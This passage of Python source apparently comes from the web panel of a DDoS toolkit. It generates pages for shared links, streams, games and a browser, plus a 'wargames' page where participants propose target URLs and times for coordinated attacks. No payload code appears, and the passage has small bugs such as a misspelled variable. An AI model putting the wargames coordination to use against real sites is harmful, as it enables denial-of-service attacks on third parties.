  1608. </script>
  1609. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1610. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1611. <br>
  1612. <center>
  1613. <table cellpadding="5" cellspacing="5"><tr>
  1614. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1615. <td>
  1616. <pre>This feature will allow you to propose/join some real 'wargames'.
  1617. <hr>
  1618. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1619. <hr><br>
  1620. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1621. def generate_links(self):
  1622. with open(self.links_file) as f:
  1623. for line in f:
  1624. line = line.strip()
  1625. f.close()
  1626. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
  1627. for m in self.list_links: # list = creation, topic, url
  1628. if links_msg_sep in m:
  1629. m = m.split(links_msg_sep)
  1630. link_creation = m[0][0:12] # creation date
  1631. link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
  1632. link_topic = m[1][0:12] # topic
  1633. link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
  1634. link_url = m[2][0:12] # url
  1635. link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
  1636. links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
  1637. links_table += "</table>"
  1638. mother_link = "<div id='links_panel_enc' style='display:block'>"
  1639. links_table = mother_link + links_table + "</div>"
  1640. return links_table
  1641. def generate_streams(self):
  1642. with open(self.streams_file) as f:
  1643. for line in f:
  1644. line = line.strip()
  1645. f.close()
  1646. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
  1647. for m in self.list_streams: # list = creation, topic, stream
  1648. if streams_msg_sep in m:
  1649. m = m.split(streams_msg_sep)
  1650. stream_creation = m[0][0:12] # creation date
  1651. strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
  1652. stream_topic = m[1][0:12] # topic
  1653. stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
  1654. stream_url = m[2][0:12] # url
  1655. stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
  1656. streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
  1657. streams_table += "</table>"
  1658. mother_stream = "<div id='streams_panel_enc' style='display:block'>"
  1659. streams_table = mother_stream + streams_table + "</div>"
  1660. return streams_table
  1661. def generate_games(self):
  1662. games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
  1663. with open(self.games_file) as f:
  1664. for line in f:
  1665. line = line.strip()
  1666. if games_msg_sep in line:
  1667. line = line.split(games_msg_sep)
  1668. game_name = line[0] # name
  1669. game_description = line[1] # description
  1670. games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
  1671. games_table += "</table>"
  1672. f.close()
  1673. mother_games = "<div id='games_panel_enc' style='display:block'>"
  1674. games_table = mother_games + games_table + "</div>"
  1675. return games_table
  1676. def generate_browser(self):
  1677. browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
  1678. return browser_table
  1679. def generate_globalnet(self):
  1680. with open(self.globalnet_file) as f:
  1681. for line in f:
  1682. line = line.strip()
  1683. f.close()
  1684. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
  1685. for m in self.list_globalnet: # list = owner, comment, warping, ip
  1686. if globalnet_msg_sep in m:
  1687. m = m.split(globalnet_msg_sep)
  1688. globalnet_owner = m[0][0:12] # owner
  1689. globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
  1690. globalnet_comment = m[1][0:32] # comment
  1691. globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
  1692. globalnet_warp = m[2][0:12] # warp
  1693. globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
  1694. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
  1695. globalnet_table += "</table>"
  1696. mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
  1697. globalnet_table = mother_globalnet + globalnet_table + "</div>"
  1698. return globalnet_table
  1699. def html_links(self):
  1700. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1701. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1702. links_table = self.generate_links()
  1703. return self.pages["/header"] + """<script language="javascript">
  1704. function Decrypt_links(){
  1705. link_deckey=document.getElementById("link_deckey").value
  1706. if(link_deckey == "") {
  1707. window.alert("You need to enter a valid key (provided by someone)");
  1708. return
  1709. }else{
  1710. params="link_deckey="+escape(link_deckey)
  1711. runCommandX("cmd_decrypt_links",params)
  1712. panel_enc = document.getElementById("links_panel_enc").style.display
  1713. if(panel_enc == "block"){
  1714. panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
  1715. }
  1716. }
  1717. }
  1718. function Ranking() {
  1719. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1720. }
  1721. function Grid() {
  1722. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1723. }
  1724. function Board() {
  1725. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1726. }
  1727. function Stats() {
  1728. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1729. }
  1730. function Streams() {
  1731. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1732. }
  1733. function SyncLinks(){
  1734. link_source=document.getElementById("link_source").value
  1735. if(link_source == "") {
  1736. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1737. return
  1738. }else{
  1739. params="link_source="+escape(link_source)
  1740. runCommandX("cmd_sync_links",params)
  1741. setTimeout("location.reload()", 10000)
  1742. }
  1743. }
  1744. function LinkFilter(filter, key) {
  1745. params="filter="+escape(filter)+"&key="+escape(key)
  1746. runCommandX("cmd_link_filter", params)
  1747. setTimeout("Decrypt_links()", 2000)
  1748. }
  1749. function Send() {
  1750. link_source2=document.getElementById("link_source2").value
  1751. link_enckey=document.getElementById("link_enckey").value
  1752. link_topic=document.getElementById("link_topic").value
  1753. link_url=document.getElementById("link_url").value
  1754. if(link_source2 == "") {
  1755. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1756. return
  1757. }else{
  1758. if(link_enckey == "") {
  1759. window.alert("You need to enter a valid key (provided by someone)");
  1760. return
  1761. }else{
  1762. if(link_url == "http://127.0.0.1") {
  1763. window.alert("You need to enter a valid link");
  1764. return
  1765. }else{
  1766. params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
  1767. runCommandX("cmd_transfer_link",params)
  1768. setTimeout("location.reload()", 10000)
  1769. }
  1770. }
  1771. }
  1772. }
  1773. </script>
  1774. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1775. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1776. <br>
  1777. <center>
  1778. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1779. <td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
  1780. <td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1781. </tr></table>
  1782. <hr><br>
  1783. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
  1784. <option value="OFF" selected>OFF - NO-Topic</option>
  1785. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1786. <option value="NSA">NSA - National Space/Security Agency</option>
  1787. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1788. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1789. <option value="HAR">HAR - Hardware / Electronics</option>
  1790. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1791. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1792. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1793. <option value="SPM">SPM - Propaganda + SPAM</option>
  1794. <option value="SCI">SCI - SCience + phi</option>
  1795. <option value="UFO">UFO - UFONET</option>
  1796. </select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1797. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1798. <hr><br>
  1799. <u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1800. def html_streams(self):
  1801. l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
  1802. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1803. streams_table = self.generate_streams()
  1804. return self.pages["/header"] + """<script language="javascript">
  1805. function Decrypt_streams(){
  1806. stream_deckey=document.getElementById("stream_deckey").value
  1807. if(stream_deckey == "") {
  1808. window.alert("You need to enter a valid key (provided by someone)");
  1809. return
  1810. }else{
  1811. params="stream_deckey="+escape(stream_deckey)
  1812. runCommandX("cmd_decrypt_streams",params)
  1813. panel_enc = document.getElementById("streams_panel_enc").style.display
  1814. if(panel_enc == "block"){
  1815. panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
  1816. }
  1817. }
  1818. }
  1819. function Ranking() {
  1820. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1821. }
  1822. function Grid() {
  1823. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1824. }
  1825. function Board() {
  1826. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1827. }
  1828. function Stats() {
  1829. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1830. }
  1831. function Links() {
  1832. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1833. }
  1834. function SyncStreams(){
  1835. stream_source=document.getElementById("stream_source").value
  1836. if(stream_source == "") {
  1837. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1838. return
  1839. }else{
  1840. params="stream_source="+escape(stream_source)
  1841. runCommandX("cmd_sync_streams",params)
  1842. setTimeout("location.reload()", 10000)
  1843. }
  1844. }
  1845. function StreamFilter(filter, key) {
  1846. params="filter="+escape(filter)+"&key="+escape(key)
  1847. runCommandX("cmd_stream_filter", params)
  1848. setTimeout("Decrypt_streams()", 2000)
  1849. }
  1850. function Send() {
  1851. stream_source2=document.getElementById("stream_source2").value
  1852. stream_enckey=document.getElementById("stream_enckey").value
  1853. stream_topic=document.getElementById("stream_topic").value
  1854. stream_url=document.getElementById("stream_url").value
  1855. if(stream_source2 == "") {
  1856. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1857. return
  1858. }else{
  1859. if(stream_enckey == "") {
  1860. window.alert("You need to enter a valid key (provided by someone)");
  1861. return
  1862. }else{
  1863. if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
  1864. window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
  1865. return
  1866. }else{
  1867. params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
  1868. runCommandX("cmd_transfer_stream",params)
  1869. setTimeout("location.reload()", 10000)
  1870. }
  1871. }
  1872. }
  1873. }
  1874. function PlayStream(stream_num) {
  1875. var str1 = "play_button_";
  1876. var str2 = stream_num;
  1877. var play_button_id = str1.concat(str2);
  1878. var str3 = "video_";
  1879. var video_play = str3.concat(str2);
  1880. video_id = document.getElementById(play_button_id).value;
  1881. document.getElementById(play_button_id).style.display = 'none';
  1882. document.getElementById(video_play).style.display = 'block';
  1883. document.getElementById(video_play).innerHTML = "<div id='player'></div>";
  1884. var tag = document.createElement('script');
  1885. tag.src = "https://www.youtube.com/iframe_api";
  1886. var firstScriptTag = document.getElementsByTagName('script')[0];
  1887. firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
  1888. }
  1889. var player;
  1890. function onYouTubeIframeAPIReady() {
  1891. player = new YT.Player('player', {
  1892. height: '390',
  1893. width: '640',
  1894. videoId: video_id,
  1895. events: {
  1896. 'onReady': onPlayerReady,
  1897. 'onStateChange': onPlayerStateChange
  1898. }
  1899. });
  1900. }
  1901. function onPlayerReady(event) {
  1902. event.target.playVideo();
  1903. }
  1904. var done = false;
  1905. function onPlayerStateChange(event) {
  1906. if (event.data == YT.PlayerState.PLAYING && !done) {
  1907. done = true;
  1908. }
  1909. if (event.data === 0) {
  1910. document.getElementById(play_button_id).style.display = 'block';
  1911. document.getElementById(video_play).style.display = 'none';
  1912. }
  1913. }
  1914. function stopVideo() {
  1915. player.stopVideo();
  1916. document.getElementById(play_button_id).style.display = 'block';
  1917. document.getElementById(video_play).style.display = 'none';
  1918. }
  1919. </script>
  1920. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1921. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1922. <br>
  1923. <center>
  1924. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1925. <td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
  1926. <td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
  1927. </tr></table>
  1928. <hr><br>
  1929. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
  1930. <option value="OFF" selected>OFF - NO-Topic</option>
  1931. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1932. <option value="NSA">NSA - National Space/Security Agency</option>
  1933. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1934. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1935. <option value="HAR">HAR - Hardware / Electronics</option>
  1936. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1937. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1938. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1939. <option value="SPM">SPM - Propaganda + SPAM</option>
  1940. <option value="SCI">SCI - SCience + phi</option>
  1941. <option value="UFO">UFO - UFONET</option>
  1942. </select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1943. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1944. <hr><br>
  1945. <u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1946. def html_games(self):
  1947. games_table = self.generate_games()
  1948. return self.pages["/header"] + """<script language="javascript">
  1949. function Ranking() {
  1950. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1951. }
  1952. function Wargames() {
  1953. var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1954. }
  1955. function Grid() {
  1956. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1957. }
  1958. function Board() {
  1959. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1960. }
  1961. function Stats() {
  1962. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1963. }
  1964. function PlayGame() {
  1965. var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1966. }
  1967. </script>
  1968. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1969. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1970. <br>
  1971. <center>
  1972. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1973. <td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
  1974. <td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
  1975. </tr></table>
  1976. <hr><br>
  1977. <u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
  1978. def html_spaceinvaders(self):
  1979. return self.pages["/header"] + """<script language="javascript"></script>
  1980. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1981. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1982. <br><center>
  1983. <hr><br>
  1984. <div id="gamecontainer">
  1985. <canvas id="gameCanvas"></canvas>
  1986. </div>
  1987. <div id="info">
  1988. <p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
  1989. more bombs as you complete each level!</p>
  1990. </div></script><script src="js/spaceinvaders.js"></script><script>
  1991. var canvas = document.getElementById("gameCanvas");
  1992. canvas.width = 800;
  1993. canvas.height = 600;
  1994. var game = new Game();
  1995. game.initialise(canvas);
  1996. game.start();
  1997. window.addEventListener("keydown", function keydown(e) {
  1998. var keycode = e.which || window.event.keycode;
  1999. // Supress further processing of left/right/space (37/29/32)
  2000. if(keycode == 37 || keycode == 39 || keycode == 32) {
  2001. e.preventDefault();
  2002. }
  2003. game.keyDown(keycode);
  2004. });
  2005. window.addEventListener("keyup", function keydown(e) {
  2006. var keycode = e.which || window.event.keycode;
  2007. game.keyUp(keycode);
  2008. });
  2009. window.addEventListener("touchstart", function (e) {
  2010. game.touchstart(e);
  2011. }, false);
  2012. window.addEventListener('touchend', function(e){
  2013. game.touchend(e);
  2014. }, false);
  2015. window.addEventListener('touchmove', function(e){
  2016. game.touchmove(e);
  2017. }, false);
  2018. function toggleMute() {
  2019. game.mute();
  2020. document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
  2021. }
  2022. </script><br><br>"""+ self.pages["/footer"]
  2023. def html_browser(self):
  2024. browser_table = self.generate_browser()
  2025. return self.pages["/header"] + """<script language="javascript">
  2026. function Ranking() {
  2027. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2028. }
  2029. function Grid() {
  2030. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2031. }
  2032. function Board() {
  2033. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2034. }
  2035. function Links() {
  2036. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2037. }
  2038. function Streams() {
  2039. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2040. }
  2041. </script>
  2042. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2043. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2044. <br>
  2045. <center>
  2046. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2047. <td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
  2048. <td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  2049. </tr></table>
  2050. <hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
  2051. def html_globalnet(self):
  2052. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  2053. globalnet_table = self.generate_globalnet()
  2054. return self.pages["/header"] + """<script language="javascript">
  2055. function Ranking() {
  2056. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2057. }
  2058. function Grid() {
  2059. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2060. }
  2061. function Board() {
  2062. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2063. }
  2064. function Warps() {
  2065. var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2066. }
  2067. function SyncGlobalnet(){
  2068. globalnet_source=document.getElementById("globalnet_source").value
  2069. if(globalnet_source == "") {
  2070. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2071. return
  2072. }else{
  2073. params="globalnet_source="+escape(globalnet_source)
  2074. runCommandX("cmd_sync_globalnet",params)
  2075. setTimeout("location.reload()", 10000)
  2076. }
  2077. }
  2078. function Decrypt_globalnet(){
  2079. globalnet_deckey=document.getElementById("globalnet_deckey").value
  2080. if(globalnet_deckey == "") {
  2081. window.alert("You need to enter a valid key (provided by someone)");
  2082. return
  2083. }else{
  2084. params="globalnet_deckey="+escape(globalnet_deckey)
  2085. runCommandX("cmd_decrypt_globalnet",params)
  2086. panel_enc = document.getElementById("globalnet_panel_enc").style.display
  2087. if(panel_enc == "block"){
  2088. panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
  2089. }
  2090. }
  2091. }
  2092. function GlobalnetFilter(filter, key) {
  2093. params="filter="+escape(filter)+"&key="+escape(key)
  2094. runCommandX("cmd_globalnet_filter", params)
  2095. setTimeout("Decrypt_globalnet()", 2000)
  2096. }
  2097. function Send() {
  2098. globalnet_source2=document.getElementById("globalnet_source2").value
  2099. globalnet_enckey=document.getElementById("globalnet_enckey").value
